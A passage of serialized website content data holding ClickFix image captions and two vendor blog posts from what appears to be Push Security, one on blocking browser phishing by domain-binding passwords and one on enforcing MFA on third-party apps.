attacks",{"url":25106,"width":25107,"height":25108},{"sys":27523,"__typename":1671,"title":27524,"caption":27524,"layoutMode":59,"file":27525},{"id":24097},"Examples of ClickFix lures used by attackers in the wild.",{"url":27526,"width":1675,"height":27527},"https://images.ctfassets.net/y1cdw1ablpvd/7AH10e5YpESPdIBIH4YjHO/e7d5553657b6b0f20d6ed563d69af1e4/image3.png",1955,{"sys":27529,"__typename":1679,"content":27530,"name":27554,"title":59},{"id":24192},{"json":27531},{"nodeType":1663,"data":27532,"content":27533},{},[27534],{"nodeType":866,"data":27535,"content":27536},{},[27537,27541,27550],{"nodeType":865,"value":27538,"marks":27539,"data":27540},"Attacks on BYOD or personal devices are increasingly leading to corporate breaches where email accounts are being used to sign into corporate browser profiles. This results in corporate credentials inadvertently saved and synced across devices being exposed in the breach (the most well-known example of this being in ",[],{},{"nodeType":889,"data":27542,"content":27544},{"uri":27543},"https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause/?utm_source=chatgpt.com",[27545],{"nodeType":865,"value":27546,"marks":27547,"data":27549},"Okta’s 2023 support case management system breach",[27548],{"type":1191},{},{"nodeType":865,"value":27551,"marks":27552,"data":27553},").",[],{},"clickfix insight box 1",{"sys":27556,"__typename":6278,"type":6279,"ctaText":27557,"buttonLabel":27558,"buttonColour":27559,"buttonUrl":27560},{"id":24238},"Register for our webinar to learn more about the latest developments in ClickFix attacks and why they're so effective.","Register Now","sea blue","https://pushsecurity.com/webinar/clickfix",{"sys":27562,"__typename":1671,"title":27563,"caption":27563,"layoutMode":59,"file":27564},{"id":24315},"ClickFix builder screenshots. Source: Microsoft",{"url":27565,"width":1675,"height":27566},"https://images.ctfassets.net/y1cdw1ablpvd/2adTEIfv1YmEkXzzKA5UFC/47fd4025b72923dd0a1a16eb736e8980/image2.png",540,{"items":27568},[],{},"Detect ClickFix-style attacks in the browser","product-feature",{"items":27573},[27574,27910,28571],{"__typename":1802,"sys":27575,"content":27577,"title":27893,"synopsis":27894,"hashTags":59,"publishedDate":27895,"slug":27896,"tagsCollection":27897,"authorsCollection":27903},{"id":27576},"4bYO5rVy9n2OO3vtMVQeda",{"json":27578},{"data":27579,"content":27580,"nodeType":1663},{},[27581,27588,27606,27622,27629,27636,27639,27646,27653,27706,27713,27719,27722,27729,27736,27743,27750,27757,27774,27780,27787,27794,27811,27817,27824,27831,27838,27845,27852,27855,27862,27881,27887],{"data":27582,"content":27583,"nodeType":953},{},[27584],{"data":27585,"marks":27586,"value":27587,"nodeType":865},{},[],"All phishing eventually leads to the browser",{"data":27589,"content":27590,"nodeType":866},{},[27591,27595,27603],{"data":27592,"marks":27593,"value":27594,"nodeType":865},{},[],"The best attack detection methods are those that focus on ",{"data":27596,"content":27597,"nodeType":889},{"uri":13446},[27598],{"data":27599,"marks":27600,"value":27602,"nodeType":865},{},[27601],{"type":1191},"detecting indicators that are difficult for attackers to change or obfuscate",{"data":27604,"marks":27605,"value":3017,"nodeType":865},{},[],{"data":27607,"content":27608,"nodeType":866},{},[27609,27613,27618],{"data":27610,"marks":27611,"value":27612,"nodeType":865},{},[],"For a credential phishing attack to succeed, the victim ",{"data":27614,"marks":27615,"value":27617,"nodeType":865},{},[27616],{"type":1191},"has",{"data":27619,"marks":27620,"value":27621,"nodeType":865},{},[]," to enter their password into a webpage. There’s no two-ways about it, attackers cannot change this. ",{"data":27623,"content":27624,"nodeType":866},{},[27625],{"data":27626,"marks":27627,"value":27628,"nodeType":865},{},[],"So it stands to reason that, if you can detect this user behavior, and block them from entering their password, then you can stop phishing. ",{"data":27630,"content":27631,"nodeType":866},{},[27632],{"data":27633,"marks":27634,"value":27635,"nodeType":865},{},[],"This is exactly what Push does.",{"data":27637,"content":27638,"nodeType":944},{},[],{"data":27640,"content":27641,"nodeType":1229},{},[27642],{"data":27643,"marks":27644,"value":27645,"nodeType":865},{},[],"Most anti-phishing tools are easily bypassed",{"data":27647,"content":27648,"nodeType":866},{},[27649],{"data":27650,"marks":27651,"value":27652,"nodeType":865},{},[],"Other anti-phishing tools rely on detecting elements of the attack that attackers can change and hide, such as domains or the webpage contents. Attackers use tricks to evade these detection, like:",{"data":27654,"content":27655,"nodeType":2374},{},[27656,27666,27676,27686,27696],{"data":27657,"content":27658,"nodeType":2309},{},[27659],{"data":27660,"content":27661,"nodeType":866},{},[27662],{"data":27663,"marks":27664,"value":27665,"nodeType":865},{},[],"Using Cloudflare Workers to block automatic analysis of their phishing site",{"data":27667,"content":27668,"nodeType":2309},{},[27669],{"data":27670,"content":27671,"nodeType":866},{},[27672],{"data":27673,"marks":27674,"value":27675,"nodeType":865},{},[],"Hacking a Wordpress blog to get a reputable domain that passes domain checks ",{"data":27677,"content":27678,"nodeType":2309},{},[27679],{"data":27680,"content":27681,"nodeType":866},{},[27682],{"data":27683,"marks":27684,"value":27685,"nodeType":865},{},[],"Using redirects and rotating the URLs delivered to the victim to bypass link analysis",{"data":27687,"content":27688,"nodeType":2309},{},[27689],{"data":27690,"content":27691,"nodeType":866},{},[27692],{"data":27693,"marks":27694,"value":27695,"nodeType":865},{},[],"Randomizing the HTML title for the web page to bypass blocklists ",{"data":27697,"content":27698,"nodeType":2309},{},[27699],{"data":27700,"content":27701,"nodeType":866},{},[27702],{"data":27703,"marks":27704,"value":27705,"nodeType":865},{},[],"One-time phishing links that only work the first time they are clicked",{"data":27707,"content":27708,"nodeType":866},{},[27709],{"data":27710,"marks":27711,"value":27712,"nodeType":865},{},[],"Push is putting an end to this game of cat and mouse, by keeping it really simple; you can’t phish someone who can’t put their password into a phishing page. ",{"data":27714,"content":27718,"nodeType":921},{"target":27715},{"sys":27716},{"id":27717,"type":918,"linkType":919},"6AwOZSpqaChmeksnj4SyWE",[],{"data":27720,"content":27721,"nodeType":944},{},[],{"data":27723,"content":27724,"nodeType":1229},{},[27725],{"data":27726,"marks":27727,"value":27728,"nodeType":865},{},[],"Domain-binding passwords",{"data":27730,"content":27731,"nodeType":866},{},[27732],{"data":27733,"marks":27734,"value":27735,"nodeType":865},{},[],"If you’re familiar with how passkeys are domain-bound, then think of what Push does as domain-binding passwords. We pin the password to its legitimate domain(s) and then don’t allow it to be entered into any webpage on any other domain. ",{"data":27737,"content":27738,"nodeType":866},{},[27739],{"data":27740,"marks":27741,"value":27742,"nodeType":865},{},[],"But just because you’ve stopped your users from being phished doesn’t mean you don’t want to know when attackers are attempting to phish your users and how. ",{"data":27744,"content":27745,"nodeType":866},{},[27746],{"data":27747,"marks":27748,"value":27749,"nodeType":865},{},[],"Push still inspects webpages to see if attackers are rendering cloned app login pages in the browser or if known AitM and BitM toolkits are being used. This way you don’t lose visibility of the unsuccessful attacks that are targeting your users. Think of it as a handy second and third layer of defense.",{"data":27751,"content":27752,"nodeType":866},{},[27753],{"data":27754,"marks":27755,"value":27756,"nodeType":865},{},[],"Lets run through a quick before and after example:",{"data":27758,"content":27759,"nodeType":1229},{},[27760,27764,27770],{"data":27761,"marks":27762,"value":27763,"nodeType":865},{},[],"Scenario 1: An attacker attempts to phish an employee that ",{"data":27765,"marks":27766,"value":27769,"nodeType":865},{},[27767,27768],{"type":1191},{"type":935},"doesn’t",{"data":27771,"marks":27772,"value":27773,"nodeType":865},{},[]," have Push deployed to their browser.",{"data":27775,"content":27779,"nodeType":921},{"target":27776},{"sys":27777},{"id":27778,"type":918,"linkType":919},"2CbGMUSJsP1mNeHkmpLl6N",[],{"data":27781,"content":27782,"nodeType":866},{},[27783],{"data":27784,"marks":27785,"value":27786,"nodeType":865},{},[],"Here, an attacker hacks a Wordpress blog to get a reputable domain and then runs a phishing toolkit on the webpage. They email one of your employees a link to it. Your SWG / email scanning solution inspects it in a sandbox but the phish kit detects this and redirects to a benign site so that it passes the inspection. ",{"data":27788,"content":27789,"nodeType":866},{},[27790],{"data":27791,"marks":27792,"value":27793,"nodeType":865},{},[],"Your user gets the email with the link and is now free to interact with the phishing page. They enter their credentials plus MFA code into the page and voila! The attacker steals them and is able to compromise the user’s account.  ",{"data":27795,"content":27796,"nodeType":1229},{},[27797,27801,27807],{"data":27798,"marks":27799,"value":27800,"nodeType":865},{},[],"Scenario 2: An attacker attempts to phish an employee that ",{"data":27802,"marks":27803,"value":27806,"nodeType":865},{},[27804,27805],{"type":1191},{"type":935},"does",{"data":27808,"marks":27809,"value":27810,"nodeType":865},{},[]," have Push deployed to their browser. ",{"data":27812,"content":27816,"nodeType":921},{"target":27813},{"sys":27814},{"id":27815,"type":918,"linkType":919},"77smnID1woCfFJrJPyTvKY",[],{"data":27818,"content":27819,"nodeType":866},{},[27820],{"data":27821,"marks":27822,"value":27823,"nodeType":865},{},[],"This time, the attacker uses the same phishing toolkit and domain from the first example. But in reality, they don’t have to send it to your employee using email, instead, they could use LinkedIn messenger, Slack, Teams, or any application that allows employees to communicate with each other. ",{"data":27825,"content":27826,"nodeType":866},{},[27827],{"data":27828,"marks":27829,"value":27830,"nodeType":865},{},[],"Like before, the user receives the link, opens it and starts to enter their credentials into the webpage. This time though, the Push browser extension inspects the webpage running in the user's browser. Push observes that the webpage is a login page and the user is entering their password into the page.",{"data":27832,"content":27833,"nodeType":866},{},[27834],{"data":27835,"marks":27836,"value":27837,"nodeType":865},{},[],"The first detection Push makes is checking that the password the user is entering matches the domain that password is pinned to. Since it doesn't match, based on this detection alone the user is automatically redirected to a blocking page. An important point to make here is that the password never leaves the user’s browser and the check is made using a shortened salted hash of the password.   ",{"data":27839,"content":27840,"nodeType":866},{},[27841],{"data":27842,"marks":27843,"value":27844,"nodeType":865},{},[],"The second detection Push makes is that the rendered web app is using a cloned app login page. The third detection is that a phishing toolkit is running in the web app code. ",{"data":27846,"content":27847,"nodeType":866},{},[27848],{"data":27849,"marks":27850,"value":27851,"nodeType":865},{},[],"In this particular scenario these second and third detections serve as useful context for understanding the nature of the phishing attack. But both will still redirect to a blocking page if they are triggered in isolation of the other phishing detections. ",{"data":27853,"content":27854,"nodeType":944},{},[],{"data":27856,"content":27857,"nodeType":953},{},[27858],{"data":27859,"marks":27860,"value":27861,"nodeType":865},{},[],"We don’t just stop phishing attacks",{"data":27863,"content":27864,"nodeType":866},{},[27865,27869,27877],{"data":27866,"marks":27867,"value":27868,"nodeType":865},{},[],"We also detect other identity-related attack techniques used to compromise user accounts. That includes credential stuffing, password spraying and session hijacking using stolen session tokens. If you want to learn more about how Push helps you to detect and defeat common identity attack techniques, ",{"data":27870,"content":27871,"nodeType":889},{"uri":1487},[27872],{"data":27873,"marks":27874,"value":27876,"nodeType":865},{},[27875],{"type":1191},"book some time with one of our team",{"data":27878,"marks":27879,"value":27880,"nodeType":865},{},[],".  ",{"data":27882,"content":27886,"nodeType":921},{"target":27883},{"sys":27884},{"id":27885,"type":918,"linkType":919},"2JSmYDaiAciOx7Z1MRuJlA",[],{"data":27888,"content":27889,"nodeType":866},{},[27890],{"data":27891,"marks":27892,"value":21,"nodeType":865},{},[],"Detecting and blocking phishing attacks in the browser","How Push detects and blocks phishing attempts in the browser – explained in less than two minutes. ","2024-10-23T00:00:00.000Z","detecting-and-blocking-phishing-attacks-in-the-browser",{"items":27898},[27899,27901],{"sys":27900,"name":2663},{"id":2662},{"sys":27902,"name":342},{"id":2666},{"items":27904},[27905],{"fullName":27906,"firstName":27907,"jobTitle":11084,"profilePicture":27908},"Alex Henshall","Alex",{"url":27909},"https://images.ctfassets.net/y1cdw1ablpvd/2rz3Pre3b1MexPIQ4hzPUe/0ef8a092b7e7df00fbce3f7d1ccb96d1/Alex_Henshall.jpeg",{"__typename":1802,"sys":27911,"content":27913,"title":28557,"synopsis":28558,"hashTags":59,"publishedDate":28559,"slug":28560,"tagsCollection":28561,"authorsCollection":28567},{"id":27912},"wikyVxlHwKUOKM9xo19eP",{"json":27914},{"data":27915,"content":27916,"nodeType":1663},{},[27917,27923,27926,27933,27956,27987,27997,28017,28024,28030,28037,28052,28059,28062,28069,28076,28095,28102,28148,28155,28161,28167,28174,28207,28221,28224,28231,28238,28245,28252,28259,28266,28273,28380,28386,28401,28408,28423,28456,28471,28478,28493,28499,28506,28513,28519,28526,28532,28539],{"data":27918,"content":27922,"nodeType":921},{"target":27919},{"sys":27920},{"id":27921,"type":918,"linkType":919},"1hUpsNwuhEXwSPijvRflTq",[],{"data":27924,"content":27925,"nodeType":944},{},[],{"data":27927,"content":27928,"nodeType":866},{},[27929],{"data":27930,"marks":27931,"value":27932,"nodeType":865},{},[],"There are two things every security operations engineer can agree on:",{"data":27934,"content":27935,"nodeType":2374},{},[27936,27946],{"data":27937,"content":27938,"nodeType":2309},{},[27939],{"data":27940,"content":27941,"nodeType":866},{},[27942],{"data":27943,"marks":27944,"value":27945,"nodeType":865},{},[],"Get MFA on every account on every app.",{"data":27947,"content":27948,"nodeType":2309},{},[27949],{"data":27950,"content":27951,"nodeType":866},{},[27952],{"data":27953,"marks":27954,"value":27955,"nodeType":865},{},[],"This is stupidly harder to achieve than it seems.",{"data":27957,"content":27958,"nodeType":866},{},[27959,27963,27971,27975,27983],{"data":27960,"marks":27961,"value":27962,"nodeType":865},{},[],"The penalties for failing to solve this hard simple problem are abundantly clear. Stolen credentials accounted for roughly half of the initial access methods observed this year across 30,000+ attacks, according to Verizon’s 2024 ",{"data":27964,"content":27965,"nodeType":889},{"uri":19814},[27966],{"data":27967,"marks":27968,"value":27970,"nodeType":865},{},[27969],{"type":1191},"Data Breach Investigations Report",{"data":27972,"marks":27973,"value":27974,"nodeType":865},{},[],". And ",{"data":27976,"content":27978,"nodeType":889},{"uri":27977},"https://pushsecurity.com/blog/2024-identity-breaches/",[27979],{"data":27980,"marks":27981,"value":27982,"nodeType":865},{},[],"in a review of 30 publicly disclosed breaches involving identity attacks",{"data":27984,"marks":27985,"value":27986,"nodeType":865},{},[]," in 2024, we found that 73% (almost three-quarters) were the result of compromised credentials, with the rest the result of phishing. ",{"data":27988,"content":27989,"nodeType":5786},{},[27990],{"data":27991,"content":27992,"nodeType":866},{},[27993],{"data":27994,"marks":27995,"value":27996,"nodeType":865},{},[],"Three-quarters of publicly disclosed breaches involving identity attacks in 2024 involved compromised credentials and missing MFA.",{"data":27998,"content":27999,"nodeType":866},{},[28000,28004,28013],{"data":28001,"marks":28002,"value":28003,"nodeType":865},{},[],"In the case of the ",{"data":28005,"content":28007,"nodeType":889},{"uri":28006},"https://pushsecurity.com/blog/snowflake-retro/",[28008],{"data":28009,"marks":28010,"value":28012,"nodeType":865},{},[28011],{"type":1191},"Snowflake incident",{"data":28014,"marks":28015,"value":28016,"nodeType":865},{},[]," earlier this year, a lack of MFA meant the difference between an enormous and murky firefight to clean up accounts breached with legitimate credentials, and a decent night’s sleep. The result was hundreds of millions of breached customer records, nine publicly named victims, and at least one ransom paid.",{"data":28018,"content":28019,"nodeType":866},{},[28020],{"data":28021,"marks":28022,"value":28023,"nodeType":865},{},[],"“Do you know how many accounts we have on this third-party service, who owns them, how many tenants, whether those creds are shared elsewhere, and their security posture?” is not a fun question to answer on a Friday. ",{"data":28025,"content":28029,"nodeType":921},{"target":28026},{"sys":28027},{"id":28028,"type":918,"linkType":919},"6hg6PLXWMZaEDnGekHEzmD",[],{"data":28031,"content":28032,"nodeType":866},{},[28033],{"data":28034,"marks":28035,"value":28036,"nodeType":865},{},[],"For SecOps teams we’ve helped here at Push that responded to incidents affecting third-party apps (like Snowflake), the first item on the recovery plan is to finally solve that hard simple problem: No more MFA gaps.",{"data":28038,"content":28039,"nodeType":866},{},[28040,28044,28048],{"data":28041,"marks":28042,"value":28043,"nodeType":865},{},[],"With our latest feature release, ",{"data":28045,"marks":28046,"value":19404,"nodeType":865},{},[28047],{"type":935},{"data":28049,"marks":28050,"value":28051,"nodeType":865},{},[],", this is so much easier. With MFA enforcement, Push administrators can configure a control to prompt employees to enroll in MFA whenever Push detects that they’re not registered — even on apps that don’t natively provide any administrative enforcement option for MFA. This capability is made possible by the Push browser extension, which uses in-browser messaging and simple workflows to guide users right where they work.",{"data":28053,"content":28054,"nodeType":866},{},[28055],{"data":28056,"marks":28057,"value":28058,"nodeType":865},{},[],"In this article, we’ll cover how Push helps you identify and close MFA gaps, how our new enforcement feature is one part of that solution, and how you can test the platform yourself.",{"data":28060,"content":28061,"nodeType":944},{},[],{"data":28063,"content":28064,"nodeType":953},{},[28065],{"data":28066,"marks":28067,"value":28068,"nodeType":865},{},[],"Shining a light on MFA gaps",{"data":28070,"content":28071,"nodeType":866},{},[28072],{"data":28073,"marks":28074,"value":28075,"nodeType":865},{},[],"There’s no question that the rise of ubiquitous multi-factor authentication has been an enormous advance for defenders in cybersecurity. ",{"data":28077,"content":28078,"nodeType":866},{},[28079,28083,28092],{"data":28080,"marks":28081,"value":28082,"nodeType":865},{},[],"Yet several years into this journey, the problem of verifying and enforcing MFA coverage across an organization remains a bit of a ",{"data":28084,"content":28086,"nodeType":889},{"uri":28085},"https://en.wikipedia.org/wiki/Puzzle_box",[28087],{"data":28088,"marks":28089,"value":28091,"nodeType":865},{},[28090],{"type":1191},"puzzle box",{"data":28093,"marks":28094,"value":1066,"nodeType":865},{},[],{"data":28096,"content":28097,"nodeType":866},{},[28098],{"data":28099,"marks":28100,"value":28101,"nodeType":865},{},[],"Why is this?",{"data":28103,"content":28104,"nodeType":2374},{},[28105,28115,28125],{"data":28106,"content":28107,"nodeType":2309},{},[28108],{"data":28109,"content":28110,"nodeType":866},{},[28111],{"data":28112,"marks":28113,"value":28114,"nodeType":865},{},[],"Complex overlapping (and occasionally contradictory) configurations for enterprise MFA solutions can result in entire employee groups not registered for MFA, and other critical missing pieces.",{"data":28116,"content":28117,"nodeType":2309},{},[28118],{"data":28119,"content":28120,"nodeType":866},{},[28121],{"data":28122,"marks":28123,"value":28124,"nodeType":865},{},[],"With a sprawling ecosystem of both SSO-managed and unmanaged self-adopted SaaS, MFA coverage ends up looking more like a patchwork than a unified layer of protection. Security teams lack visibility of freemium and self-purchased apps, and when signup is simple, many users will naturally skip MFA registration to remove a layer of friction. The end result is often a suite of core apps managed via SSO that enforce MFA — and a lot of other unmanaged apps that don’t (true nightmare fodder).",{"data":28126,"content":28127,"nodeType":2309},{},[28128],{"data":28129,"content":28130,"nodeType":866},{},[28131,28135,28144],{"data":28132,"marks":28133,"value":28134,"nodeType":865},{},[],"Another annoying piece of the puzzle box: Even in organizations with a high adoption rate of phishing-resistant MFA methods, having backup MFA methods (and a lack of total visibility into all of those registered methods) can create situations where ",{"data":28136,"content":28138,"nodeType":889},{"uri":28137},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/mfa_downgrade/description.md",[28139],{"data":28140,"marks":28141,"value":28143,"nodeType":865},{},[28142],{"type":1191},"MFA downgrade attacks",{"data":28145,"marks":28146,"value":28147,"nodeType":865},{},[]," are still possible. In MFA downgrade attacks, backup MFA methods that are less secure such as SMS or TOTP can be exploited, effectively bypassing more phishing-resistant methods.",{"data":28149,"content":28150,"nodeType":866},{},[28151],{"data":28152,"marks":28153,"value":28154,"nodeType":865},{},[],"The challenges of solving this puzzle are evident. ",{"data":28156,"content":28160,"nodeType":921},{"target":28157},{"sys":28158},{"id":28159,"type":918,"linkType":919},"2BBiFx8pHjSCeLTlP6n6da",[],{"data":28162,"content":28166,"nodeType":921},{"target":28163},{"sys":28164},{"id":28165,"type":918,"linkType":919},"2QnWVpPYRyJQaQ5TuKSSLp",[],{"data":28168,"content":28169,"nodeType":866},{},[28170],{"data":28171,"marks":28172,"value":28173,"nodeType":865},{},[],"To shine a light on MFA gaps, then, security teams need three things:",{"data":28175,"content":28176,"nodeType":2374},{},[28177,28187,28197],{"data":28178,"content":28179,"nodeType":2309},{},[28180],{"data":28181,"content":28182,"nodeType":866},{},[28183],{"data":28184,"marks":28185,"value":28186,"nodeType":865},{},[],"A full accounting of their identity attack surface, including accounts on unmanaged and freemium apps not on SSO.",{"data":28188,"content":28189,"nodeType":2309},{},[28190],{"data":28191,"content":28192,"nodeType":866},{},[28193],{"data":28194,"marks":28195,"value":28196,"nodeType":865},{},[],"A trustworthy out-of-band method for verifying MFA coverage, beyond the tangle of conditional access rules.",{"data":28198,"content":28199,"nodeType":2309},{},[28200],{"data":28201,"content":28202,"nodeType":866},{},[28203],{"data":28204,"marks":28205,"value":28206,"nodeType":865},{},[],"Visibility into which MFA methods are registered to a given account.",{"data":28208,"content":28209,"nodeType":866},{},[28210,28214,28218],{"data":28211,"marks":28212,"value":28213,"nodeType":865},{},[],"You can get all three with the Push platform. The missing piece we’ve now added is a way to automatically prompt employees to add MFA wherever it’s missing. Enter ",{"data":28215,"marks":28216,"value":19404,"nodeType":865},{},[28217],{"type":935},{"data":28219,"marks":28220,"value":1066,"nodeType":865},{},[],{"data":28222,"content":28223,"nodeType":944},{},[],{"data":28225,"content":28226,"nodeType":953},{},[28227],{"data":28228,"marks":28229,"value":28230,"nodeType":865},{},[],"How Push helps you ensure MFA coverage",{"data":28232,"content":28233,"nodeType":866},{},[28234],{"data":28235,"marks":28236,"value":28237,"nodeType":865},{},[],"Let’s take a look at a hypothetical incident response scenario to see how Push’s identity visibility and security controls help you ensure MFA coverage.",{"data":28239,"content":28240,"nodeType":866},{},[28241],{"data":28242,"marks":28243,"value":28244,"nodeType":865},{},[],"We’ll assume that prior to this incident, you had already deployed the Push browser extension, which you can install and enforce using any MDM solution, on all major browsers.",{"data":28246,"content":28247,"nodeType":866},{},[28248],{"data":28249,"marks":28250,"value":28251,"nodeType":865},{},[],"It’s a Friday afternoon (sorry).",{"data":28253,"content":28254,"nodeType":866},{},[28255],{"data":28256,"marks":28257,"value":28258,"nodeType":865},{},[],"News breaks that there’s been a suspected breach at a popular enterprise SaaS service.",{"data":28260,"content":28261,"nodeType":866},{},[28262],{"data":28263,"marks":28264,"value":28265,"nodeType":865},{},[],"You’re familiar with the service, but you don’t believe it’s a core managed app at your organization. Unfortunately, that does not mean you don’t have accounts (sorry again).",{"data":28267,"content":28268,"nodeType":866},{},[28269],{"data":28270,"marks":28271,"value":28272,"nodeType":865},{},[],"Using Push, you can:",{"data":28274,"content":28275,"nodeType":2374},{},[28276,28295,28305,28332,28358],{"data":28277,"content":28278,"nodeType":2309},{},[28279],{"data":28280,"content":28281,"nodeType":866},{},[28282,28286,28291],{"data":28283,"marks":28284,"value":28285,"nodeType":865},{},[],"Immediately check whether the Push extension has observed employee usage of the breached app. It will appear on the ",{"data":28287,"marks":28288,"value":28290,"nodeType":865},{},[28289],{"type":935},"Apps",{"data":28292,"marks":28293,"value":28294,"nodeType":865},{},[]," table. From this overview, you can see how many accounts Push has seen on that app and how they are accessing it (SSO vs. other methods, such as local password login).",{"data":28296,"content":28297,"nodeType":2309},{},[28298],{"data":28299,"content":28300,"nodeType":866},{},[28301],{"data":28302,"marks":28303,"value":28304,"nodeType":865},{},[],"For those accounts on the breached app, you can quickly see whether they have MFA, and which methods are registered. To determine MFA status, the Push extension uses the existing user’s active session on an app to query that account’s MFA registration status using the app’s own API, providing a trustworthy verification. ",{"data":28306,"content":28307,"nodeType":2309},{},[28308],{"data":28309,"content":28310,"nodeType":866},{},[28311,28315,28320,28324,28329],{"data":28312,"marks":28313,"value":28314,"nodeType":865},{},[],"You can also see whether the users’ passwords have any security issues, such as a verified stolen credential, or a password that’s weak or reused by filtering the ",{"data":28316,"marks":28317,"value":28319,"nodeType":865},{},[28318],{"type":935},"Accounts",{"data":28321,"marks":28322,"value":28323,"nodeType":865},{},[]," list for ",{"data":28325,"marks":28326,"value":28328,"nodeType":865},{},[28327],{"type":935},"Findings",{"data":28330,"marks":28331,"value":1066,"nodeType":865},{},[],{"data":28333,"content":28334,"nodeType":2309},{},[28335],{"data":28336,"content":28337,"nodeType":866},{},[28338,28342,28346,28350,28354],{"data":28339,"marks":28340,"value":28341,"nodeType":865},{},[],"For accounts that lack MFA, you can then configure the ",{"data":28343,"marks":28344,"value":19404,"nodeType":865},{},[28345],{"type":935},{"data":28347,"marks":28348,"value":28349,"nodeType":865},{},[]," control from the ",{"data":28351,"marks":28352,"value":20168,"nodeType":865},{},[28353],{"type":935},{"data":28355,"marks":28356,"value":28357,"nodeType":865},{},[]," page. This will prompt employees who lack MFA to set it up whenever they next use the app. In parallel, you can reach out to affected employees through your preferred comms channel and ask them to immediately register for MFA and change their password on the app. ",{"data":28359,"content":28360,"nodeType":2309},{},[28361],{"data":28362,"content":28363,"nodeType":866},{},[28364,28368,28377],{"data":28365,"marks":28366,"value":28367,"nodeType":865},{},[],"Then use Push’s webhooks to monitor for MFA registrations and password changes to roll in, by querying the ",{"data":28369,"content":28371,"nodeType":889},{"uri":28370},"https://pushsecurity.redoc.ly/webhooks-v1#operation/login-event",[28372],{"data":28373,"marks":28374,"value":28376,"nodeType":865},{},[28375],{"type":1191},"Login event",{"data":28378,"marks":28379,"value":1066,"nodeType":865},{},[],{"data":28381,"content":28385,"nodeType":921},{"target":28382},{"sys":28383},{"id":28384,"type":918,"linkType":919},"4OVJU6FRSVU9j1WB9NGyJ4",[],{"data":28387,"content":28388,"nodeType":866},{},[28389,28393,28397],{"data":28390,"marks":28391,"value":28392,"nodeType":865},{},[],"By combining visibility of your workforce identities — including granular context on their MFA registration status, MFA methods, and password security, even on unmanaged apps — with in-browser controls like ",{"data":28394,"marks":28395,"value":19404,"nodeType":865},{},[28396],{"type":935},{"data":28398,"marks":28399,"value":28400,"nodeType":865},{},[],", Push helps security teams respond quickly and with assurance that they have the right information and tools to remediate the issue.",{"data":28402,"content":28403,"nodeType":953},{},[28404],{"data":28405,"marks":28406,"value":28407,"nodeType":865},{},[],"A closer look at MFA enforcement",{"data":28409,"content":28410,"nodeType":866},{},[28411,28415,28419],{"data":28412,"marks":28413,"value":28414,"nodeType":865},{},[],"With the in-browser ",{"data":28416,"marks":28417,"value":19404,"nodeType":865},{},[28418],{"type":935},{"data":28420,"marks":28421,"value":28422,"nodeType":865},{},[]," control, we chose this approach to close the loop on missing MFA issues because:",{"data":28424,"content":28425,"nodeType":2374},{},[28426,28436,28446],{"data":28427,"content":28428,"nodeType":2309},{},[28429],{"data":28430,"content":28431,"nodeType":866},{},[28432],{"data":28433,"marks":28434,"value":28435,"nodeType":865},{},[],"It meets users where they are, in the most relevant context where they can successfully address the issue.",{"data":28437,"content":28438,"nodeType":2309},{},[28439],{"data":28440,"content":28441,"nodeType":866},{},[28442],{"data":28443,"marks":28444,"value":28445,"nodeType":865},{},[],"It solves the problem of enforcing MFA on apps that are outside of administrative control — or that don’t provide any administrative controls to enforce MFA registration natively.",{"data":28447,"content":28448,"nodeType":2309},{},[28449],{"data":28450,"content":28451,"nodeType":866},{},[28452],{"data":28453,"marks":28454,"value":28455,"nodeType":865},{},[],"It’s tenant-agnostic. That means that you can enforce MFA for a given app on all tenants of that app, even those free-tier or test tenants that you don’t know about and have no control over.",{"data":28457,"content":28458,"nodeType":866},{},[28459,28463,28467],{"data":28460,"marks":28461,"value":28462,"nodeType":865},{},[],"As a happy side effect, your compliance team will thank you for finally allowing them to attest to where MFA is ",{"data":28464,"marks":28465,"value":26281,"nodeType":865},{},[28466],{"type":965},{"data":28468,"marks":28469,"value":28470,"nodeType":865},{},[]," enforced — with verified results, visible at the account level in Push’s admin reporting — across your environment.",{"data":28472,"content":28473,"nodeType":866},{},[28474],{"data":28475,"marks":28476,"value":28477,"nodeType":865},{},[],"Here’s a closer look at how it works:",{"data":28479,"content":28480,"nodeType":866},{},[28481,28485,28489],{"data":28482,"marks":28483,"value":28484,"nodeType":865},{},[],"To enable MFA enforcement, use the configuration tile on the ",{"data":28486,"marks":28487,"value":20168,"nodeType":865},{},[28488],{"type":935},{"data":28490,"marks":28491,"value":28492,"nodeType":865},{},[]," page of the Push admin console and select which apps should require MFA registration. The control currently works with ~90 high-value apps, including Postman, Retool, Datadog, Atlassian, Okta, and others.",{"data":28494,"content":28498,"nodeType":921},{"target":28495},{"sys":28496},{"id":28497,"type":918,"linkType":919},"2sDbYZL4oJDxLMbYErJfIN",[],{"data":28500,"content":28501,"nodeType":866},{},[28502],{"data":28503,"marks":28504,"value":28505,"nodeType":865},{},[],"You can then customize the message the employees will see.",{"data":28507,"content":28508,"nodeType":866},{},[28509],{"data":28510,"marks":28511,"value":28512,"nodeType":865},{},[],"On the end-user side, employees will see a banner with your message as soon as they use an app where they lack MFA. ",{"data":28514,"content":28518,"nodeType":921},{"target":28515},{"sys":28516},{"id":28517,"type":918,"linkType":919},"37aH1maXXkF8DxgjUod5dn",[],{"data":28520,"content":28521,"nodeType":866},{},[28522],{"data":28523,"marks":28524,"value":28525,"nodeType":865},{},[],"To complete MFA registration, the user can go directly to the app’s MFA registration page from a link in the banner (Push provides this link automatically, where one exists). The extension will query the user’s MFA status regularly in the background and when MFA registration is completed, the banner will disappear and the Push platform will clear the “No MFA” security finding for that account.",{"data":28527,"content":28531,"nodeType":921},{"target":28528},{"sys":28529},{"id":28530,"type":918,"linkType":919},"3yb4KjhH3AbvvSnfMbNONr",[],{"data":28533,"content":28534,"nodeType":953},{},[28535],{"data":28536,"marks":28537,"value":28538,"nodeType":865},{},[],"Find out more",{"data":28540,"content":28541,"nodeType":866},{},[28542,28546,28553],{"data":28543,"marks":28544,"value":28545,"nodeType":865},{},[],"To test our MFA visibility and control features, ",{"data":28547,"content":28548,"nodeType":889},{"uri":12015},[28549],{"data":28550,"marks":28551,"value":28552,"nodeType":865},{},[],"request a demo",{"data":28554,"marks":28555,"value":28556,"nodeType":865},{},[]," from our team. We look forward to helping you finally turn the challenge of MFA coverage into a simple problem, easily solved.","No more hard simple problems: Enforce MFA on third-party apps with Push","Using Push to enforce MFA on third-party apps in the browser — even where MFA enforcement isn't supported by the app 